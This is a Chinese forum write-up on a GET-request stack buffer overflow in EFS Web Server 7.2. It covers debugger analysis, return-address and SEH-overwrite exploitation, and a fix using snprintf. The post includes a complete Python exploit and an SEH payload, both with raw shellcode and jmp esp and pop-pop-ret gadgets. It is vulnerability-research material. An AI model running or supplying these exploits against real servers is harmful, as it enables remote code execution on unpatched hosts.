首页
社区
课程
招聘
[原创]EFS Web Server 7.2 GET请求缓冲区溢出漏洞分析与利用
2017-3-28 21:13 4734

[原创]EFS Web Server 7.2 GET请求缓冲区溢出漏洞分析与利用

2017-3-28 21:13
4734

分析来源:https://www.exploit-db.com/exploits/39008/

为什么去分析它呢,来源于k0shl在i春秋的课程


目录


在csdn用markdown写,也直接上传md文件吧

http://blog.csdn.net/u012763794/article/details/66970749

简介

EFS Web Server是一个可以通过web端管理服务器文件的软件,发送GET请求长度过长会触发缓冲区溢出漏洞 
分析来源:https://www.exploit-db.com/exploits/39008/

实验环境

WinXP sp3 中文版 
EFS Web Server7.2 
immunity debugger 
windbg 
IDA 
mona

漏洞分析

由于作者使用的覆盖SEH程序的地址在ImageLoad.dll中,没ASLR,所以利用比较稳定,打开就弹出计算器

我们将payload该成全是A吧,buff = "A"*4500 
windbg附加后运行,发送我们的4500个A

0:005> g
(39c.ebc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:0023:4141418d=????????


我们看到发生了一个应用异常,可以看到eax的值为0x41414141,那么eax的值我们是可以控制的咯,那具体是不知可以覆盖SEH,跟着这里引发异常,导致可以执行我们的shellcode呢

那我们看看eax的值来源于哪里呢,ida打开sqlite3.dll,定位到如下函数

signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
{
signed int v1; // ebx@2

if ( a1 )
{
v1 = 1;
if ( *(_DWORD *)(a1 + 0x4C) != 0xA029A697 ) // 这里就是异常触发的地方
{
LOBYTE(v1) = 0;
if ( sqlite3SafetyCheckSickOrOk() )
sqlite3_log(21, "API call with %s database connection pointer", "unopened");
}
}
.....
}

看到这里只知道eax来源于上层函数 
我们看看堆栈调用

0:005> kv
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02055f40 61c6286c 000011b8 00001194 0154249c sqlite3!sqlite3_errcode+0x8e
02055f80 004968f4 00000001 00000000 02055fac sqlite3!sqlite3_declare_vtab+0x3282
02057624 00000000 00000000 0205758c 020575a0 fsws+0x968f4

根据第一个返回地址61c6286c我们定位到_sqlite3LockAndPrepare函数 
这里还是没看到eax的来源

.text:61C6284E _sqlite3LockAndPrepare proc near        ; CODE XREF: _sqlite3_step+C3p
.text:61C6284E                                         ; _sqlite3Prepare16+C0p ...
.text:61C6284E
.text:61C6284E var_20          = dword ptr -20h
.text:61C6284E var_1C          = dword ptr -1Ch
.text:61C6284E arg_0           = dword ptr  8
.text:61C6284E arg_4           = dword ptr  0Ch
.text:61C6284E arg_8           = dword ptr  10h
.text:61C6284E arg_C           = dword ptr  14h
.text:61C6284E
.text:61C6284E                 push    ebp
.text:61C6284F                 mov     ebp, esp
.text:61C62851                 push    edi
.text:61C62852                 push    esi
.text:61C62853                 push    ebx
.text:61C62854                 sub     esp, 2Ch
.text:61C62857                 mov     ebx, eax
.text:61C62859                 mov     edi, edx
.text:61C6285B                 mov     [ebp+var_1C], ecx
.text:61C6285E                 mov     esi, [ebp+arg_8]
.text:61C62861                 mov     dword ptr [esi], 0
.text:61C62867                 call    _sqlite3SafetyCheckOk

那我们还是看fsws.exe的004968f4 吧

.text:004968D0 sub_4968D0      proc near               ; CODE XREF: sub_4971A0+EFp
.text:004968D0                                         ; sub_497440+29p ...
.text:004968D0
.text:004968D0 var_4           = dword ptr -4
.text:004968D0 arg_0           = dword ptr  4
.text:004968D0 arg_4           = dword ptr  8
.text:004968D0
.text:004968D0                 push    ecx
.text:004968D1                 mov     eax, [esp+4+arg_4]
.text:004968D5                 push    esi
.text:004968D6                 test    eax, eax
.text:004968D8                 mov     [esp+8+var_4], 0
.text:004968E0                 push    0
.text:004968E2                 jz      short loc_496914
.text:004968E4                 lea     edx, [esp+0Ch+arg_4]
.text:004968E8                 push    edx
.text:004968E9                 push    0FFFFFFFFh
.text:004968EB                 push    eax
.text:004968EC                 mov     eax, [ecx]      ; eax来源于这里的ecx的引用
.text:004968EE                 push    eax
.text:004968EF                 call    sqlite3_prepare_v2

我们在sub_4968D0函数开头下断 
第三次断下来就看到ecx指向我们的41414141

0:005> g
Breakpoint 0 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=0205718b esi=02057058 edi=0154249c
eip=004968d0 esp=02055fa4 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
fsws+0x968d0:
004968d0 51              push    ecx
0:005> dd ecx
02057058  41414141 41414141 41414141 41414141
02057068  41414141 41414141 41414141 41414141
02057078  41414141 41414141 41414141 41414141
02057088  41414141 41414141 41414141 41414141
02057098  41414141 41414141 41414141 41414141
020570a8  41414141 41414141 41414141 41414141
020570b8  41414141 41414141 41414141 41414141
020570c8  41414141 41414141 41414141 41414141

那这个0x41414141是什么时候复制到栈上的呢 
我们对02057058下一个写入断点吧 
在这里暂停了下来

0:005> g
Breakpoint 1 hit
eax=00000041 ebx=00000132 ecx=02055f74 edx=02057058 esi=015434fe edi=02055f48
eip=00500df0 esp=02055cd0 ebp=02055cd0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fsws+0x100df0:
00500df0 ff01            inc     dword ptr [ecx]      ds:0023:02055f74=02057058


我们用ida看看这个地址,分析多了,看到这个write_char,就会联想上层调用了sprintf

.text:00500DDE ; int __cdecl write_char(int, FILE *, int)
.text:00500DDE _write_char     proc near               ; CODE XREF: sub_500640+1D2p
.text:00500DDE                                         ; sub_500640+1EBp ...
.text:00500DDE
.text:00500DDE arg_0           = dword ptr  8
.text:00500DDE arg_4           = dword ptr  0Ch
.text:00500DDE arg_8           = dword ptr  10h
.text:00500DDE
.text:00500DDE                 push    ebp
.text:00500DDF                 mov     ebp, esp
.text:00500DE1                 mov     ecx, [ebp+arg_4]
.text:00500DE4                 dec     dword ptr [ecx+4]
.text:00500DE7                 js      short loc_500DF7
.text:00500DE9                 mov     edx, [ecx]
.text:00500DEB                 mov     al, byte ptr [ebp+arg_0]
.text:00500DEE                 mov     [edx], al
.text:00500DF0                 inc     dword ptr [ecx]


那我们看看堆栈信息

0:005> kv
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02055cd0 00500e69 00000041 02055f74 02055f48 fsws+0x100df0
02055f5c 004f9698 02055f74 005a2859 02055fb0 fsws+0x100e69
02055f94 00497753 02055fd4 005a283c 013746c0 fsws+0xf9698
02057624 00000000 00000000 0205758c 020575a0 fsws+0x97753

确实004f9698在sprintf函数内

那我们继续看下一个返回地址

.text:00497745                 push    edi
.text:00497746                 push    eax
.text:00497747                 push    ecx
.text:00497748                 push    offset aSelectFromSWhe ; "select * from %s where %s='%s'"
.text:0049774D                 push    edx             ; char *
.text:0049774E                 call    _sprintf

我们看看最后拼接的语句:bp 00497745 
第一次断下来,我们执行到sprintf函数,看看栈上的参数

0:005> dd esp
02055f9c  02055fd4 005a283c 013746c0 01374670
02055fac  0154249c ffffffff 02057228 00001107
02055fbc  013746c0 01374670 00000000 00000000
02055fcc  00000000 01375900 656c6573 2a207463
02055fdc  6f726620 7173206d 6261746c 6c20656c
02055fec  74696d69 00003120 00000000 00000000
02055ffc  00000000 00000000 00000000 00000000
0205600c  00000000 00000000 00000000 00000000
0:005> dc 02055fd4  //格式化第一个参数即,目的地址
02055fd4  656c6573 2a207463 6f726620 7173206d  select * from sq
02055fe4  6261746c 6c20656c 74696d69 00003120  ltable limit 1..
02055ff4  00000000 00000000 00000000 00000000  ................
02056004  00000000 00000000 00000000 00000000  ................
02056014  00000000 00000000 00000000 00000000  ................
02056024  00000000 00000000 00000000 00000000  ................
02056034  00000000 00000000 00000000 00000000  ................
02056044  00000000 00000000 00000000 00000000  ................
0:005> dc 0154249c  //sprintf最后一个参数
0154249c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
015424ac  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
015424bc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
015424cc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
015424dc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
015424ec  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
015424fc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0154250c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这么长的畸形字符串复制到栈上,使用sprintf格式化前有进行加成,这就造成栈溢出了 
看看确实拼接成sql语句了

0:005> dc 02055fd4
02055fd4  656c6573 2a207463 6f726620 7173206d  select * from sq
02055fe4  6261746c 7720656c 65726568 6d616e20  ltable where nam
02055ff4  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA
02056004  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02056014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02056024  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02056034  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02056044  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

最后拿去给给sqlite3.dll处理的时候造成异常 
具体路径如下,sprintf执行完下一条语句是调用sub_4968D0函数 
sub_4968D0->sqlite3_prepare_v2->sqlite3LockAndPrepare->sqlite3SafetyCheckOk(在这函数里面异常)

那么0154249c上的畸形字符串哪里来,来源于sub_52DF03函数的memcpy函数的复制

漏洞利用

试试覆盖返回地址

作者使用的是覆盖SEH的方法,那是不是只能覆盖SEH呢?(是不是没执行到ret指令程序就崩溃掉了呢) 
我们看看返回地址有多远 
char v15; // [sp+20h] [bp-100Ch]@3 
我们要溢出的buf距离ebp都㓟0x100c,即4108个字节

当然函数这里没有生成栈帧 
那我们看看触发异常获取栈上02057058的值

>>> hex(0x02057058- 0x02055fd4)
'0x1084'

那是可以覆盖返回地址的,我们尝试用4150个A 
!mona pattern_create 4150

0:005> g
......
(c7c.738): Access violation(c7c.738): Access violation - code c0000005 (first chance)
- code c0000005 (first chance)
......
eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
eip=38664637 esp=02056ff0 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
eip=38664637 esp=02056ff0 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
38664637 ??              ???

计算一下 
!mona pattern_offset 0x38664637 
地址是4073(为什么比v15距离ebp的4180字节要小呢,因为前面还有sql语句的长度啊,O(∩_∩)O哈哈~) 
但是下面的payload没起作用,服务器也没崩,调试也正常返回了 
buff = "A" * 4073 + jmp_esp + "\x90" * 20 + shellcode 
那为什么之前eip会是0x38664637呢 
跟踪一下看看,确实会retn到0x38664637 
是不是我们的payload有什么问题呢 
通过调试进一步排查,是触发了异常,也是一开始我们所看到的异常, 
我们向前回溯看看这个eax的值来源于02057058,值是391c5a09

0:005> g
Breakpoint 2 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=02055fac esi=02057058 edi=0154247c
eip=004968ec esp=02055f8c ebp=02057624 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fsws+0x968ec:
004968ec 8b01            mov     eax,dword ptr [ecx]  ds:0023:02057058=391c5a09

我们再看看我们的shellcode,从倒数第二个字节起向前数4个字节,刚好是0x391c5a09,那说明是我们的shellcode过长,覆盖到了上一函数栈帧的数据,导致异常的发生

shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)

那怎么解决?

  1. 使用短一点的shellcode,这样无疑对我们的攻击有很大的限制
  2. 由于前面我为了保险使用了长的nop,由于是retn 0xC,12个\x90就行了,这样我们的shellcode应该也可以起作用

对于第二点我发现过短了 
buff = "A" * 4073 + jmp_esp + "\x90" * 12 + shellcode 
调试发现没有复制0154249c的0x41414141 
而且也不是where name,应该后面的数据影响了

0:005> dc 020560f0
020560f0  656c6573 2a207463 6f726620 7173206d  select * from sq
02056100  6261746c 7720656c 65726568 65737520  ltable where use
02056110  3d646972 00002727 00000000 00000000  rid=''

在后面加3个\x90就会异常

最后排查测试,这样是可以执行jmp esp的 
buff = "A" * 4073 + jmp_esp 
那我们在后面搞个先前跳转不就行了?

最终exp:

# Usage: ./exploit.py ip port
import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)

jmp_esp = "\x8b\x1c\xa0\x71" #0x71A01C8B jmp esp -> from wshtcpip.dll

buff = shellcode + "\x90" * (4073-len(shellcode)) + jmp_esp + "\x90" * 12 + "\xE9\x02\xf0\xff\xff"
print len(shellcode)
# GET
a.send("GET " + buff + " HTTP/1.0\r\n\r\n")
a.close()
print "Done..."

当然你也可以将shellcode改为弹窗的(注可能有些shellcode不能执行,有些位置的某些字符可能影响程序的执行流程或者sql查询的结果) 
下面看看我们弹窗效果

这里写图片描述

那使用覆盖SEH是不是没遇到这么多麻烦呢?

覆盖SEH

首先定位SEH

0:005> !exchain
02056fd4: 46356646
Invalid exception stack at 34664633
Address=0BADF00D Message= - Pattern 3Ff4 (0x34664633) found in Metasploit pattern  at position 4061

可以看到位置为4061,跟作者的exp写的是一样的,但这里是NEXT SEH的位置而已哦

我们先看看作者的思路

0:005> g
(c98.48c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41909090 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:0023:419090dc=????????
0:005> !exchain
ImageLoad!SaveTIF+b68 (10019798)
Invalid exception stack at 90900aeb
0:005> bp 10019798
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10019798 edx=7c9232bc esi=00000000 edi=00000000
eip=10019798 esp=02055b58 ebp=02055b78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ImageLoad!SaveTIF+0xb68:
10019798 5e              pop     esi
0:005> dd esp
02055b58  7c9232a8 02055c40 02056fd4 02055c5c
02055b68  02055c14 02056fd4 7c9232bc 02056fd4
02055b78  02055c28 7c92327a 02055c40 02056fd4
02055b88  02055c5c 02055c14 10019798 02055fd4
02055b98  02055c40 02056fd4 7c94a8c3 02055c40
02055ba8  02056fd4 02055c5c 02055c14 10019798
02055bb8  02055fd4 02055c40 02055fac 003fbb58
02055bc8  003fbb60 02055bb0 018a0b10 018a0a10

我们看到暂停下来后,确实到了我们伪造的SEH程序处理的位置 
其实windbg比较难看 
我们用od吧^_^ 
下面是在系统异常处理的时候获取我们伪造的SEH程序的位置

我们看看执行到10019798时,栈的情况,发现esp+8的位置就是我们之前NEXT SEH的位置

这里写图片描述

不信看图

最后在Next SEH的指令跳过了垃圾代码,从而执行shellcode

最后还要说明的是最后为啥还要加那么长的字符

就是下面这一串,作者为什么加

buff+= "\x90"*7
buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)"

如果不加,程序的执行流程有点变化有点问题,从而触发不了异常

那么是不是一定要加到4500那么长呢,肯定不是啊

我在最后加50个A也行啊,10个A也行,甚至4个A也行

3个就不行了(但是3个的时候又不是那个问题,调试了一下发现程序的执行的流程,拼接的sql语句没问题,问题是最后拼接3个A的话,竟然没导致异常,从而不能触发SEH,而是执行到了函数最后的ret指令,返回到了0x90909090处了,导致最后不能正确执行shellcode) 
那怎么让后面接3个A也行呢,就是将payload中shellcode的前9-12个0x90替换为jmp esp的地址即可,不信看看下面是不是这样

0:005> p
eax=00000000 ebx=00001007 ecx=90900aeb edx=005aae28 esi=02057228 edi=ffffffff
eip=00497832 esp=02056fe0 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
fsws+0x97832:
00497832 c20c00          ret     0Ch
0:005> dd esp
02056fe0  90909090 90909090 90909090 d9909090
02056ff0  23b9becb 74d93167 295af424 3113b1c9
02057000  c2831972 15720304 e356d65b 62fa71c9
02057010  8275e281 c0e1b30b a0610bd9 4103e711
02057020  d2db7c84 ba979aa8 5bfb1068 7b70ade8
02057030  0886b328 0e52ac64 3c2ddd8d bcfca03c
02057040  d7a82382 d9236e94 05d405e3 09e91bf2
02057050  bd391c5a 27414141 01841000 00000000

但是为什么这样?,这是一个需要进一步探索的问题 
下面这个是最后加50个A的payload,buf的值

# Junk
buff = "A"*4061
# Next SEH
buff+= "\xeb\x0A\x90\x90"
# pop pop ret
buff+= "\x98\x97\x01\x10"
buff+= "\x90"*19
# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
......
......
)
buff+= shellcode
buff+= "A" * 50

漏洞修复

使用安全的snprintf,或者对字符串长度进行限制

漏洞总结

由于使用sprintf格式化sql语句查询的时候对长度没有严格限制,导致缓冲区溢出,漏洞利用无论是覆盖返回地址还是覆盖SEH都有一些坑



[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Dongoing 2017-3-29 17:56
2
0
强悍,学习了
雪    币: 413
活跃值: (274)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
giantbranch 2017-3-30 09:39
3
0
Dongoing 强悍,学习了
谢谢
游客
登录 | 注册 方可回帖
返回